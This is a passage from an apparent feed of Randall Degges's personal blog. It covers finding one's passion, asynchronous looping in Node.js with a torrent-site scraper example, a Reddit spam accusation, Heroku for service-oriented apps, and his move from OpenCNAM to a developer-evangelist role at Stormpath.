Not only is it an incredibly rewarding, stimulating, and intense journey, but it will push you to your limits, and past. It will both challenge and relax you, and above all else: it will help you unlock a better version of yourself.

Finding Your Passion

r@rdegges.com (Randall Degges) — Tue, 20 Jan 2015 00:00:00 -0800

I’ve been incredibly lucky in my life as I’ve always known what it is I enjoy doing – what I love.

I realize that not everyone is so lucky.

When I was just a kid, my family received a computer as a gift. This computer had some video games pre-installed on it, which my brother and I ended up immersing ourselves with.

Through video games, I came to appreciate technology, and this appreciation eventually led to curiosity, deep interest, and finally: obsession.

Over the years my life has more-or-less revolved around computer programming: it’s what I love thinking about, talking about, working on, playing with, and spending my time doing.

Whenever people ask me what I love to do, without even thinking my mouth spits out the phrase “Programming!”.

I’ve had numerous people tell me over the years that I’m one of the most excited and passionate people they’ve ever met – and to be honest, this is always a shock. I can’t help but think, “Am I really that passionate? Doesn’t everyone feel this way about something?”

Recently, I decided to start asking other people what it is that drives them. What do they really love to do? What do they have to do in order to feel good? What can’t they live without?

What I’ve noticed is that, more often than not, people don’t have a clear answer. I typically hear a few seconds of silence, followed by permutations of “I don’t know”.

I’ve learned that, after some probing, I’m almost always able to isolate what it is people really love to do. It might take a lot of conversation, but if I press hard enough it always comes out.

The truth is that finding what it is you love to do isn’t all that hard. I’ve come to realize that most people tend to simply “look past” it.

Here’s how you can find out what you love:

First off, sit down and start writing a list that consists of activities you do almost every day (or things you want to do more often, but can’t). Write down everything: brushing your teeth, washing your hands, whatever it is – even if it seems minuscule.

NOTE: Only write down things you do often or semi-often. Don’t include things you’ve only done once, a few times, or think about a lot. If you really love something, I can guarantee you it’s something you’re already doing. Things you love are impossible not to do – so you’re most likely already doing them.

Secondly, go through the list, look at each activity, and circle any activities that make you feel emotional in some way: either positive or negative. Do you really hate working with spreadsheets? Do they make you super frustrated? Ok, good! Circle this. Circle good things as well: eating candy, whatever.

Emotions are pretty simple human feelings: they usually either make you feel good or bad in some way. But here’s an important thing to know about emotion: if you’re feeling emotion towards something – you care about that thing.

Things you don’t at all care about won’t elicit emotional response.

If the building you live in blows up tomorrow while you’re at work, you’ll certainly feel sad and emotional about it – this place was your home. You lived there. You have memories there!

On the flip side – if you hear that a building somewhere across the world in a place you’ve never heard of blew up – you most likely won’t think twice about it. It won’t make you feel anything. Why? Because you don’t care about it – it isn’t something you’re directly involved with.

So, let’s say you do the above experiment, and come up with a list of things you do fairly often. You then sit down, and circle all the things that make you feel some emotion. Now what?

Well, here’s the fun part.

One of those things you just circled is something you love. And not just something you love – but something you love deeply.

But, before you go through the list and try to narrow it down to the things you really love, you should know what love looks like. The feeling of love isn’t always something that feels good all the time.

For instance, most people love their parents. Even though your parents might give you an incredibly hard time, be impossible to hang out with, and drive you crazy with every phone call – you still love them. You love them because you care about them deeply in both good and bad times.

This is love.

Love is nothing more than respect and caring in a very deep manner.

I think a lot of people fail to realize this, and falsely believe they don’t love anything – which is crazy.

Sometimes you might be surprised at what you love. It’s OK to love something that is super frustrating and hard to deal with.

Maybe you really love organization, even though your roommates continually move your stuff around and mess up your plans. If this happens to you enough, you might slowly start to dread organizing things as you know they’ll almost certainly be moved around by other people. Why even bother?

Well, as long as you are still feeling BAD about that experience, it means you still care about organization.

The next thing you should know about love is that regardless of whether or not it elicits a negative emotional response when you think of it now, it should make you feel good when you’re actually working on it – by yourself.

What do I mean by this?

Well, let’s use programming as an example.

I really love programming. But often times, when working on projects with a team of people, I get easily frustrated and bummed out. This is due to a lot of reasons: sometimes my partner doesn’t care about code quality, or sometimes deadlines are pressing which makes me compromise my vision, or sometimes I have to build things I’m not interested in.

All of those things make programming frustrating for me, and kill my motivation.

But, when I’m working on projects by myself, and I’m completely in control of my actions: I get an immense feeling of joy. I feel happy and free and satisfied.

So now that we’ve discussed love, take another look at your list of circled items, and try to apply the love rules to them.

Are there any items that you enjoy doing alone, and feel either very negative or very positive about when you do them in your day-to-day life? If so, then congratulations! You’ve found your passion. You love something!

Also: don’t be surprised if you find you love several things. I know that in my own life, there are at least 3 things I love and care about a lot.

Having multiple loves is fine.

Everyone has a purpose, and everyone has things they love (but might not realize).

By first realizing and accepting the things you love and care about, and by secondly nurturing your love for these activities – you can build a wonderful life that makes you feel satisfied with yourself, your progress, and your own personal development.

When people know what they love, and consciously dedicate time and effort to those activities, they’re able to live to their fullest potential and build a life they’ll be happy with.

For Loops in Node

r@rdegges.com (Randall Degges) — Tue, 23 Sep 2014 00:00:00 -0700

As of late, I’ve been spending a fair amount of time writing Node.js code. While I’m not a huge Node.js fan (yey Python + Go!), I find myself liking some parts of the language quite a lot.

Over the past few months I’ve been working on a really awesome authentication library for Node.js: express-stormpath, and have learned quite a lot about Node as I’ve been working on it more and more.

Today I’d like to share a short, personal story with you, about my frustrating experience trying to do something simple.

The Story

Here’s how it started: two weeks ago I was writing a web scraper for thepiratebay. My idea was simple: I wanted to get a JSON dump of all torrent information available, so that I could later use it for some simple data analysis.

After taking a look at the site, I realized that the simplest way to scrape all the existing torrents would be to just loop through all integers, querying each one sequentially – this is because TPB allows you to access torrents via their integer ID (which is always increasing):

The rules are simple: if you get a 404 skip it – if you get a 200, the torrent exists and can be scraped!

So, I sat down and wrote a first version that looked something like this:

var request = require('request');

for (var i = 0; i < 10000000; i++) {
 request('http://thepiratebay.se/' + i, ...);
}

This is some pretty basic stuff:

Iterate through numbers? CHECK!
Make HTTP requests? CHECK!

But to my dismay, after running for a few minutes I noticed that this small program was eating all the RAM on my laptop! But why?!

I realized that Node.js blocks when running blocking code (eg: a for loop) – but I figured that since I was making async requests from within things would continue to work normally.

I was wrong.

So, being confused about what was happening, I decided to dig a bit deeper. I narrowed my case down to a simpler test:

for (var i = 0; i < 10000000; i++) {
 console.log('hi:', i);
}

But alas, the same problem. The program simply runs for a few minutes, then crashes as it uses all the RAM on my computer. Bummer.

So then I started Googling around to find potential solutions. Surely this must be a common issue?

Unfortunately, however, I didn’t see much discussion about this, and all the relevant Stack Overflow threads proposed solutions that didn’t require looping at all (not an option in my case).

Next, I turned to async – the really popular flow control library for Node. After looking through the docs, I realized there was something that was seemingly perfect for this! The forever construct!

So I then tried the following:

var async = require('async');

var i = 0;
async.forever(
 function(next) {
 console.log('hi:', i);
 i++;
 next();
 },
 function(err) {
 console.log('All done!');
 }
);

But again – the same issue. After a few thousand loops: crash.

After writing quite a few different iterations of this simple program, and a significant amount of lost sleep (I can’t really sleep well knowing I don’t understand something – grr) – my coworker Robert proposed a working solution:

var Abstraction = function() {
 this.index = -1;
};

Abstraction.prototype.getIndex = function getIndex() {
 this.index++;
 return this.index;
};

Abstraction.prototype.isDoneTest = function isDoneTest() {
 return this.index > 10000000;
};

var list = new Abstraction();

function iterator(){
 var i = list.getIndex();
 console.log(i);
 if(list.isDoneTest()){
 clearInterval(interval);
 }
}

var interval = setInterval(iterator,1);

Brilliant! I didn’t even think of setInterval for some reason.

Anyhow: after a lot of discussion – we both came to the agreement that using setInterval is essentially the only way to solve this problem.

After thinking about this some more, I decided to write a small abstraction layer to handle this – so I created lupus.

lupus provides simple (albeit, basic) asynchronous looping for Node.js:

var lupus = require('lupus');

lupus(0, 10000000, function(n) {
 console.log("We're on:", n);
}, function() {
 console.log('All done!');
});

Whatever you end up writing inside of the loop (blocking or not) – lupus doesn’t care.

The Moral

Performing asynchronous for loops in Node.js turned out to be quite a lot harder than I expected. I find it odd that it’s so easy to crash my programs with the simplest of looping examples.

Oh well! Live and learn!

Tech Marketing and Spam

r@rdegges.com (Randall Degges) — Thu, 05 Jun 2014 00:00:00 -0700

Earlier today I was accused of spamming the Flask subreddit (you can see a link to the offending post here).

What essentially happened is that I wrote a post on the Stormpath blog about the new Flask library I wrote, then submitted the blog link to Reddit.

Several comments were left, and I was called a spammer for continuously posting Stormpath related stuff to Reddit.

The worst part? The commenter was completely right, and I didn’t even realize it until he pointed it out to me!

I’ve unknowingly become a spammer.

How I Work

Before diving into the thoughts that are on my mind right now, I wanted to take a moment to clarify how it is that I typically work.

While my official title since joining Stormpath is “Developer Evangelist”, I consider myself to essentially be a full time programmer. While I realize this isn’t true of all Developer Evangelists, I prefer to spend my time doing engineering related work.

Instead of focusing all my time on community outreach or marketing-esque stuff, I enjoy writing libraries to interface with Stormpath, helper utilities, and generally any sort of code which makes my life (and the lives of my peers) easier.

But to be honest: it’s mostly for selfish reasons. I enjoy coding more than talking with people!

I certainly enjoy going to events, giving talks, and participating in hackathons – but I need time to recharge and recover. For every day of human interaction I have, I need several to recover.

And my favorite way to recover? Writing some code >:)

Anyhow, because of this, since joining Stormpath a few months back I’ve been primarily focused on building out better developer facing libraries and tools. The whole reason I joined Stormpath in the first place was because I love their goals, and respect what they’re trying to do. I wanted to actively use the product myself, and work on making it better!

Naturally, I’m enjoying my work.

And as I’ve been building out more and more developer tools here at Stormpath, I’ve been writing about my journey along the way. I’ve been publishing articles on Stormpath’s blog about the new stuff I’ve been releasing, why I think it’s cool, and how it works.

I’ve been pouring a bunch of effort and love into it, and I’m honestly really excited about it.

Which brings me to the next part of the story.

Self Promotion in Tech

Self promotion in the tech world is interesting.

For the longest time (and still today), I don’t really care about my online reputation. If you meet me in person, I’m exactly the same as I am online. I have no online “persona”, it’s just me. Raw.

When I’m excited about something, I tend to tweet about it, write about it, and tell people about it because I love it. I try to optimize my life for enjoyment as much as possible, which means allowing myself the freedom to really do the things I love, and stop doing the things I don’t love.

For me, what this means is that as I’m working on stuff, I like to tell people about it! If I think something is cool or awesome, I try to share it with other people because I want them to feel the same way I do. It’s a drive that I can’t ignore.

Normally, when I finish writing about something or hacking on something that I think is really cool, I’ll tweet about it, and possibly link to it on Hacker News or Reddit.

99% of the time nobody cares about it, but I still feel glad that I put it out there because if even one person took a look at whatever it is I posted, I get a bit of joy.

Sharing stuff with other people is quite addictive.

Did I ever consider myself posting to Reddit and Hacker News when I do things I think are interesting as spam? Not at all. It just seemed natural to do so.

For some reason, it never occurred to me until earlier today that by sharing things I’m working on (for money), I’m essentially spamming.

And I didn’t even realize it.

I think that self promotion in the tech world is definitely changing. It’s not uncommon to visit a blog, and immediately be bombarded by huge popups instructing you to sign up for this person’s personal newsletter where you can learn all sorts of secrets.

I’m so accustomed to the constant barrage of subscription requests and free trials that I hardly even notice anymore. I just instinctively click the little ‘x’ in the top right corner and move along.

I think that for me, while I clearly benefit from self promotion through writing and social media, I’ve become so desensitized to self promotion that I’ve lost all good judgement.

And it sucks.

What I Was Thinking

When I was called a spammer, the first thing I thought was “What!? Me?! Spamming?!”

It’s a weird feeling.

It’s especially weird because I feel like I’m part of the tech community. These are my people! How could I be spamming my people?

I’ve been writing software, giving talks, and writing about tech stuff for years now (since I was maybe 12 years old). The tech and programming community is the only one I really relate to, and feel a part of.

I felt insulted! My first reaction was to respond right away!

Here’s how the conversation went:

Not even that, it is a paid service, and they spam /r/flask and /r/python regularly.

Just look at this: http://www.reddit.com/domain/stormpath.com/

-scandinavian-

To which I replied:

I’m not trying to spam anything – (I’m the module author). I think it’s genuinely a nice piece of software that makes doing Flask auth easier – it’s a paid service (just like Twilio, etc.), but has a pretty huge free tier.

Unless you’re a fairly large site it’s completely free.

Not sure why all the hate :x

-rdegges

After writing the short comment above, I felt a wave of relief. It felt like I was finally back to being my old normal self! “I can’t believe someone thought I was a spammer!”

Then, several minutes later, I got another response:

http://www.reddit.com/wiki/reddiquette

In the last 3 months, out of the 20 links you have submitted, 19 were to your service (stormpath) or your blog (rdegges.com).

Buy a targeted ad if you want to advertise.

Also you posted a bait article: The Flask Authentication Problem

In the next article the “solution” is to pay for your service (yeah yeah, free tier, you are definitely not trying to make money). Disregarding that not everyone can send their users data to some random company, or that there really isn’t a problem with writing your own authentication or using one of the extensions.

If you want to make money by spamming your sites, feel free, I don’t really care, I just think people should know.

-scandinavian-

At first when I read this, I was upset. But after reading it over a few times, it hit me: he’s completely right!

I literally sat back in my chair and thought about it for a few minutes: what am I doing here?

“Am I spamming by linking to the stuff I’m working on and the things I’m writing about?” Well… Yeah.

It was an uncomfortable truth to see myself from the other side – as a person who’s trying to convince someone to check out their paid service.

I felt yucky all over.

I don’t want to be some shameless self promoter! All I want to do is build cool stuff and share it with my community!

Somewhere along the way, I obviously lost sight of what I was doing.

The Line

There’s a definite line that exists in the tech community – a line which separates promoting cool software / articles from paid services – and it’s definitely blurry.

It’s no longer clear what is, and what isn’t spam.

Is that article you’re reading trying to convert you into a customer? If so – is it spam?

What if the article is trying to convert you into a customer, but also teaching you something interesting or showing you something you find neat? Is it still spam?

Where is the line drawn?

I think that, especially today, as more and more new companies are entering the tech sector, we (as the tech community) have to define what is, and what isn’t acceptable.

And more importantly – we, as developers, need to learn this and internalize it. If what we’re doing is bothering other people – that’s not ok.

Sure, there will definitely be people who hate you whatever it is you might do – but if you’re genuinely bothering people with your promotion it’d be best for everyone if you stopped.

I know that for me, I’m going to consciously think about what it is I’m sharing the next time I work on something I find neat / interesting.

Not only am I grateful for scandinavian- pointing out what I was doing, but I’m incredibly happy to have had the rare opportunity to get raw, unfiltered feedback on my own behavior from a stranger. It’s incredibly enlightening to have that sort of feedback, and it isn’t something I’ll forget anytime soon.

Heroku and SOA

r@rdegges.com (Randall Degges) — Wed, 04 Jun 2014 00:00:00 -0700

In the past, I’ve written a bit about service oriented architecture, what’s great about it, what’s bad about it, and how I’ve used it extensively in past ventures with incredible success.

Today I’d like to dive deeper on this, but cover a parallel topic: why Heroku is quite possibly the best platform for hosting service oriented web apps.

If you’re not already familiar with Heroku, it’s an incredibly great platform as a service company that hosts all your web apps in the simplest, most best practices way possible.

If you haven’t tried it, you might want to go ahead and read their quickstart, or possibly one of my previous articles on the subject to familiarize yourself with basic Heroku concepts.

NOTE: I’m not in any way affiliated with Heroku. I have some friends who work there, and I’ve written a book on the subject, but these thoughts are completely my own.

Hosting Web Apps is Expensive

Firstly, let’s talk about some basics: hosting web apps is incredibly expensive if you’re working on anything with more than a few users.

How so?

Well, modern web apps require a great many infrastructure components to run successfully. For almost every app I can think of, some (or all) of the following components will be necessary:

Web servers to run your app code.
Message queue servers to handle messaging inside your app.
Worker servers to run your worker code, which process asynchronous events.
Database servers (in many cases, of different technologies), to store your app’s data.
Cache servers, to cache information which is too slow to repeatedly pull out of your database servers.
File servers, to store files that are frequently accessed (images, static assets, user uploaded media, etc.).
Continuous integration servers to test and deploy your code onto these servers.
Configuration management servers to handle synchronization of these other infrastructure components across a network.

And these are just the basics! With all the apps I’ve built and worked on, I’d be hard pressed to find one project that doesn’t utilize the above resources in one way or another.

If you consider the cost of running all the tools and services above to power your app, you’re looking at a hefty hosting bill (not to mention hundreds or thousands of hours of your own time).

SOA Can Be More Expensive

While it is semi-intuitive that running web apps is expensive, not too many people consider the following: if you’re building a service oriented app, you might very well be doubling or tripling the cost of running your service!

But why?

When you build service oriented web apps, you’re essentially doing a few things:

Spending time upfront to architect a distributed app.
Spending time developing many small API services, which are each responsible for a single purpose.
Deploying each service in an isolated environment.
Provisioning whatever infrastructure tools your services require (databases, caches, etc.).

And – since services are typically deployed independently of one another, you tend to need more servers running your code than you would if you had a single, monolithic app (even if you have a small service, it’ll most likely be running on it’s own server).

Ouch!

Sidenote: Heroku’s Pricing

Before continuing, I’d like to quickly discuss Heroku’s pricing.

On Heroku, you can create any number of “Apps”. Apps on Heroku are essentially services (single purpose web apps).

Each Heroku App you create gets a single free “Dyno” free each month (think of a Dyno as a web server).

After your free Dyno, you begin paying by the second for Dynos you provision. So if you run two Dynos for a solid month, you’d only be paying full price for a single Dyno (roughly $34.50).

Heroku also allows you to provision additional infrastructure services through their Addon marketplace. The way this works is simple: Heroku has a number of third party vendors which provide instantly provisioned infrastructure services and per-second billing.

Let’s say you want to add a small Postgres database to your Heroku App. You could provision the heroku-postgresql Addon, pick what size you want, and pay for only the amount of seconds that Addon is active. Each Addon has its own pricing, but it’s very easy to determine how much each Addon costs.

Why Heroku’s Pricing is Awesome for SOA

Ok, now we’re back on topic! Hopefully you can already see where this is going.

Since Heroku allows you to provision many Apps, and each App gets a free Dyno, Heroku is actively encouraging you to build service oriented apps, whether you like it or not!

Let’s say you’re building a web app composed of 10 different web services. If you deployed each of these 10 services on Heroku, you’d be getting 10 free web servers (Dynos)! That’s a pretty insane free tier.

If you total it up, you’d be saving roughly $345 per month (the cost of running 10 paid Dynos).

That’s a lot of money saved!

Furthermore – since each Dyno is capable of handling quite a bit of concurrent traffic, depending on what each service does, you might be able to get ~1,000 requests per second out of each service you deploy… For $0.

Is there any other provider out there with such an attractive offering for service oriented web apps? If there is, I haven’t found them.

NOTE: When I was building OpenCNAM, I was able to get nearly 1,500 requests per second out of each Dyno using a Python / Flask stack. Needless to say, Heroku has served me very well.

Heroku and Vendor Lock In

One of the other great reasons to use Heroku for service oriented apps is the lack of vendor lock in.

Heroku’s platform is as open as it can be:

The way your Dynos work is clearly documented.
You can easily build and tweak the way Heroku deploys and runs your App (check out the buildpack docs for more info). The best part about this is that Heroku can run apps written in almost any language imaginable!
All App configuration is done via environment variables (which is the best way to configure applications regardless).
Heroku requires no special setup or code to be inserted into your project (except for a very minimal Procfile, which simply tells Heroku what command to run to launch your App).

When I first migrated a large Django service from Rackspace to Heroku, I was surprised that in only a few minutes I was able to move the entire thing over!

To me, lock in is an incredibly important part of choosing a provider for service oriented applications, primarily because many services grow in scope and requirements as time goes on.

For instance, I was working on a small service a while ago that transcoded video. When I first launched the service, I ran it on Heroku. After realizing that I needed much larger CPUs than what was available, however, I ended up moving that transcoding service onto a physical machine in a data center.

If I was relying heavily on vendor specific functionality, my move could have been a nightmare. Since Heroku has zero vendor lock in, it was painless for me to move off when I needed to.

Heroku’s Open Source Tooling

Another interesting thing about Heroku is their open source tooling. Heroku has hundreds of public repos on their Github account, several of which are incredibly useful when building service oriented apps.

My favorite Heroku tool for SOA developers is Foreman. Foreman is what Heroku uses internally to run your web apps, but is also an incredibly powerful development tool.

One of the biggest problems that I’ve experienced when building service oriented apps is local development and testing. It’s not exactly an easy task to run integration tests when you need to have 10 different services all running and configured in order to make something happen!

This is where Foreman really shines. Foreman allows you to create a simple Procfile in the root of your each project, which lets you instantly boot up as many different services as you’d like.

For instance, if I wanted to run several services, I could define a Procfile which looks something like this:

myapp: python app.py
service1: python /path/to/some/service.py
service2: python /path/to/some/service.py
service3: python /path/to/some/service.py
service4: python /path/to/some/service.py
service4: python /path/to/some/service.py

Then, to run all of these services concurrently, I could simply do:

$ foreman start

This would boot up each service concurrently, and assign each service a sequential port number from 5000 upwards (you can also manually assign port numbers, if you prefer).

Foreman makes it easy to test and develop against complex service oriented architectures by simplifying the starting and stopping of services.

For more information on Foreman, you should check out this article, written by David Dollar (an awesome programmer, and the creator of Foreman).

Final Thoughts

As a huge proponent of service oriented architecture, I find the topic of deploying and scaling service oriented apps incredibly interesting.

Over the past several years, I’ve worked on numerous SOA projects hosted in various places, but I’ve never had an experience as good as the Heroku experience.

Heroku’s allowed me to single-handedly build an API service that handles billions of requests, with 0 maintenance work, and almost no downtime, for very little money.

To say I’m a happy customer would be an understatement.

My hope is that my writing here convinces you to take a look at Heroku the next time you build a service oriented web app, so that you can feel the same joy I do.

As always, if you have any questions, please hit me up by email or twitter.

-Randall

Quality

r@rdegges.com (Randall Degges) — Fri, 30 May 2014 00:00:00 -0700

Since I first started working as a “professional developer”, my primary focus has been building a lot of different things – fast.

Even when I was younger and spent all my free-time after school building projects, I’d exclusively focus on building lots of little services and command line programs without much regard for their longevity.

I tend to get bored of working on the same thing for more than a couple of months, and really enjoy the thrill of starting projects, building them out until I’m satisfied, then putting them into maintenance mode and only thinking about them occasionally.

Unfortunately, while I’ve always put a lot of thought and consideration into the quality of my projects, I’ve come to realize that there is so much more I could do to not only improve the quality of these projects, but make them more successful, interesting, and usable.

It is now apparent to me that my lack of discipline and interest in ruthlessly focusing on the quality of my software (and life in general) has really been a personal vice.

After meeting so many great programmers and other people over the past several years, I’ve noticed something in common with all the people I admire: they ruthlessly focus on the quality of their projects, above all else.

Regardless of whatever obstacles and hurdles they have to jump over to make things happen, they find a way to do it.

It’s not only incredibly impressive to me, but also very humbling.

Instead of being a person who’s known for the quantity of his output, I’d instead like to become a person known for the quality of his output.

What I’m Aiming For

I realize that saying vague things like “I intend to focus on quality over quantity” is not much use, so I’ve decided to make my journey a little more actionable.

For the next month, I’m going to start out simple. Every night before bed I’m going to think about what I did during the day, and reflect on whether or not I was satisfied with the quality of my work.

My hope is that by bringing a focus on quality into my daily routine and consciously thinking about it each day, I’ll be able to continuously remind myself through the day that I want to be focusing on the quality of my work, and push myself to be better in that regard.

My Experience as a New Developer Evangelist

r@rdegges.com (Randall Degges) — Sat, 22 Feb 2014 00:00:00 -0800

Three weeks ago I joined Stormpath as a Developer Evangelist.

This is my first Developer Evangelist job, and so far it’s been a lot different than anything I’ve done before. As many of you know (if you’ve read my blog), I’m a programmer, and have been programming almost every day since I was 12.

To say that being a Developer Evangelist is different than being a programmer would be an understatement.

As a programmer, I’d typically wake up, grab some caffeine, then spend the rest of the day focusing on a single task: building a feature, fixing a bug, or handling some combination of the two.

As a Developer Evangelist, I wake up, pick from one of the 100 available tasks, then start knocking stuff off the todo list.

In short, it’s crazy! If I had to sum up Developer Evangelism for any interested programmers, I’d call it a lifestyle rather than a job.

What I Actually Do All Day

I think the biggest change for me in the first few weeks has been getting used to what I actually do everyday.

For the first 2 weeks, in particular, although I was doing a lot of stuff, if felt as though I was slacking off and not accomplishing anything – mainly because I wasn’t churning out code like I’m used to doing.

I suppose all these years of development have made me feel as if when I’m not writing code, I’m not really doing anything.

Although I’m still struggling with this concept a bit, I’m beginning to understand that there are definitely other things I can do to provide value in my work, other than obsessively focusing on product :)

The first week at work I ended up doing an array of tasks:

Writing a simple blog post about me joining the team :)
Getting access to all our internal systems (we use Atlassian for most internal stuff: JIRA, Confluence, etc.)
Discussing what the goals will be for the first month (what stuff we’re going to be doing – how we’re doing to do it – and why).
Lobbying for GitHub access so I could hack up our official Python SDK :)
Hacking up the Python SDK: cleaning some stuff up, preparing for an official 1.0.0 release (which happened in week 2).
Going to a nodejs meetup with my coworkers and building some random programs for fun.
Getting to know my coworkers (they’re all awesome, by the way).
Planning an internal company hackathon (which is taking place this coming week!).

In the next two weeks, I ended up picking up the pace and doing quite a few other things:

Going to roughly two meetups per week (Python, Django, and nodejs stuff so far).
Taking ownership over our Python SDK, planning out feature sets, reviewing code, and merging pull requests.
Working on talks for upcoming events (I’m giving a talk on Service Oriented Architecture at Rackspace in a couple weeks, and another talk on Password Security at Rocket Space).
Talking with lots of developers and learning what problems they’re having with authentication stuff (you’d be surprised how hard this is).
Helping developers out with their Python projects (I’ve dived into 3 code bases in the past week, alone, helping people get various things working).
Speaking with everyone at Stormpath about what they’re working on, and what they like about it (these are interesting things to know, and make for good articles / etc.).
Building a new Flask SDK for Stormpath, as well as a pretty neat sample application which demonstrates how to use it.
Planning out our soon-to-be Go SDK and command line utility.
Lots of other stuff I’m probably forgetting.

Overall, there’s essentially a huge backlog of things that need to be done. Right now this mainly consists of:

Improving our client libraries.
Writing better client library docs.
Publishing interesting blog articles on our tech stack / etc.
Building various sample applications to make our implementation simpler for developers.
Working on talks and presentations.
Going to meetups, hackathons, and events, and just generally being a nice guy.

Overall, it appears that almost every day will be different from here on out – some days I’ll be traveling, some days I’ll be going to events and meeting people, some days I’ll be in the office writing all day, and some days I’ll be writing code.

It’s definitely a change from what I’m used to, and while I’m slowly beginning to get the hang of things, I’ve definitely got a long way to go before I get used to things.

The Challenges

So far, the biggest challenge as a new Developer Evangelist has been figuring out how to maintain a workable schedule.

I realized after week 2 that going to multiple meetups per week, while also trying to maintain a healthy sleep and gym schedule, as well as work from 9 -> 6 is almost impossible.

Fortunately, I’m getting slightly better at this now, but maintaining a healthy schedule is definitely looking like a challenge. I’ve heard from some other evangelists I’ve spoken with that their health has gone down the drain as a side effect of the job, but I refuse to let that happen to me.

My biggest priorities in life at the moment right now are health, friends and family, then work.

Over the next month I’ll be doing my best to balance commitments better to ensure things can work sustainably! This might involve changing up work hours on some days, or maintaining a consistent sleep schedule and only scheduling events around that – not sure yet.

Aside from the scheduling problems, the next biggest challenge is trying to prioritize work effectively. Right now there are simply so many things to do (articles to write, events to attend, talks to give, libraries to build, etc.) that it’s really difficult deciding what to do, and when.

Although I realize evangelism is a long-term game, I’d like to maximize the effect I have, so I’m still trying to figure out what stuff is most effective, and what stuff is valuable.

The Good

Although I’m still figuring things out, being a Developer Evangelist for Stormpath is definitely one of the most fun things I’ve ever done.

It’s been pretty awesome. For years I’ve loved coding, loved being part of the community, and loved writing – but now I get to do all of those things, all day long, and get paid for it!

It’s pretty insane.

It’s also really great to be able to do 100% of my work out in the open (on GitHub), as opposed to building product in private repositories. Since I’m a big open source guy myself, it’s really nice to be fully able to develop out in the open, without worrying about needing to keep certain things closed source.

So far, this job has been great, and it’s really growing on me more as time passes.

Things I’d Like to Change

While Stormpath is really great as a company, there are definitely some things I’d like to change.

One of the things I’d like to do is remove some of the process around shipping, and get to a point where balancing content quality with delivery speed is a bit better.

Right now, we use a pretty heavy process of pushing all tasks through JIRA. Any sort of task (product bugs, features, todos, etc.), any sort of work (writing articles, adding stuff to docs, etc.), and any sort of review (code review, article review, pull request review, etc.) all gets pipelined through a complex set of JIRA rules and processes.

As a brand new JIRA user, I’m pretty surprised by how heavy this system feels.

Creating tasks in JIRA, and moving through the defined Kanban process takes seemingly forever, even for handling very minor things: adding links to the website, cleaning up small documentation fixes, etc.

I understand the need for process, but I think that in a lot of ways, by adding too much process around tasks you end up with an overload of management responsibility which just kills time.

What I’d like to do is move non-critical stuff out of our existing system, and into a more free system: Trello.

This coming week I’m going to be setting up a few simple Trello boards:

Articles.
Sample Applications.

And begin moving my tasks out of JIRA and into Trello. I think that by offloading these less-critical, non-engineering tasks into Trello I’ll be able to speed up the delivery of content, and make things move a lot quicker.

The other thing I’d like to do is find a way to get everyone at Stormpath more involved in the community at large: meetups, conferences, etc. I realized that while everyone at Stormpath is incredibly awesome at engineering, most of them aren’t used to getting out into community events, participating in fun stuff outside of work, etc.

I think that since I’m quite familiar with this stuff, it’ll be fun to get everyone involved, and bring them into the awesomeness that is the development community in the bay area.

Closing Thoughts

The first few weeks as a Developer Evangelist have been pretty crazy. I’ve learned a ton of things, and have been getting more familiar with not only what I need to be doing, but also what works and what doesn’t.

While I still have a long way to go before I’m satisfied with myself, I think the past few weeks have been a good indicator that I not only really love what I’m doing here, but that I’m doing a half-decent job.

I’m looking forward to the next month or two, as I plan to solve some of the problems I’ve been having, build a bunch of awesome stuff, and make a lot of people happy.

And oh yeah, have a lot of fun :)

-Randall

Moving On

r@rdegges.com (Randall Degges) — Mon, 03 Feb 2014 00:00:00 -0800

As I wrote the other day, my startup OpenCNAM has been doing really well over the past two years since it’s launch, and lots of exciting things have been happening.

While I will always love OpenCNAM and all the amazing things we’ve accomplished over the past few years, I’d be lying if I said I was still the best person to move the company forward.

Since I first got involved in the telephony industry roughly 5 years ago, I’ve built tons and tons of services using all sorts of technologies. I’ve become intimately familiar with all the major PBX systems. I’ve built pretty much every possible telephony application that involves sending and receiving phone calls and SMS messages. I’ve built all sorts of interesting open and closed source libraries, REST APIs, and consumer facing products. I’ve written and spoken about all sorts of things I’ve learned. I even ended up inadvertently helping someone in Syria perform a denial-of-service attack against a wide array of military phone lines.

Although I’ve learned a ton and had a LOT of fun over these past 5 years, I’ve been slowly getting tired of building telephony services, and have been much more interested in non-telephony services (APIs, in particular).

I realized a while ago that when I wake up in the morning, what really motivates me to get up and kick ass is the thought of building and working on the most elegant API services around, with the intent of making the world a tiny bit better by completely solving some annoying technical problem.

I’ve never been much of a consumer facing product guy, but I’m all about building developer tools. I honestly can’t think of anything more fun than spending all of my time hacking on programming products, hanging out with other programmers, and learning new stuff.

With that said, I’ve officially stepped back from my day-to-day role as the CTO of OpenCNAM, and will now only be doing advisory work as a board member. The rest of the team will continue shipping code, negotiating telco deals, and building the best possible Caller ID service.

Adventure Seeking

For the past year or so I’ve been keeping my eyes open for new, exciting opportunities. There are tons of cool tech companies around doing interesting things, but as I was looking at my options, I realized there were actually very few places I really wanted to work at (or jump into).

For a while, I was considering rolling another company from the ground up, but, although I had a lot of ideas, I didn’t really have anything that was calling me with great INTENSITY.

So, after a lot of searching, I stumbled across Stormpath.

Several years back, I was reading Hacker News, and came across Stormpath for the first time. At the time, I was just discovering why Service Oriented Architecture is so useful, and was incredibly excited to see what I considered an innovative and deeply useful API service come out.

Stormpath, for those of you that don’t know, is a really neat API service: they completely handle the user management and authentication portion of your applications, and provide a flexible, scalable, and secure backend that lets you create, manage, authenticate, authorize, and fully handle users.

When I first saw Stormpath, I thought it was a really great service because they’re handling what, in my experience, has always been one of the most difficult parts of building applications: handling users and their data properly, and effectively.

In almost every application I’ve built, the number one most difficult portion has been handling users. It doesn’t matter how great the framework you’re using is: user management is a complicated burden. You’ll typically hit one of several problems: slowness grabbing user data (due to complicated relationships between users and their data on practically every system with more than 20 users), problems scaling your application as your user base grows, problems storing user data securely (so many people mess this up, ugh), problems handling authentication (SHA 512 won’t help you), or problems sharing user state between services (users and their data should be an independent service the rest of your application can communicate with – not a database table tied to your huge monolithic applications).

Stormpath solves all of these problems (and more), which is why I thought that it’d be incredibly fun (and challenging!) to get involved somehow.

Joining Stormpath

After several months of talking with Stormpath and getting to meet their incredibly great team (and a whole lot of thinking), I decided to take the plunge and join Stormpath as their first Developer Evangelist – and do something completely different!

Since I was 12 I’ve been writing code every day. When I first started working in the industry, it felt like a dream: “I get to code everyday, while getting paid? FUCK YEAH!”. Now, after 13 years of being a straight up developer, after working at medium, small, and startup companies, after building tons of open source libraries, after writing tons of blog posts, writing a book, and even giving a few talks: I’m going to be taking my first step out of my comfort zone and doing all of the above in an entirely new context.

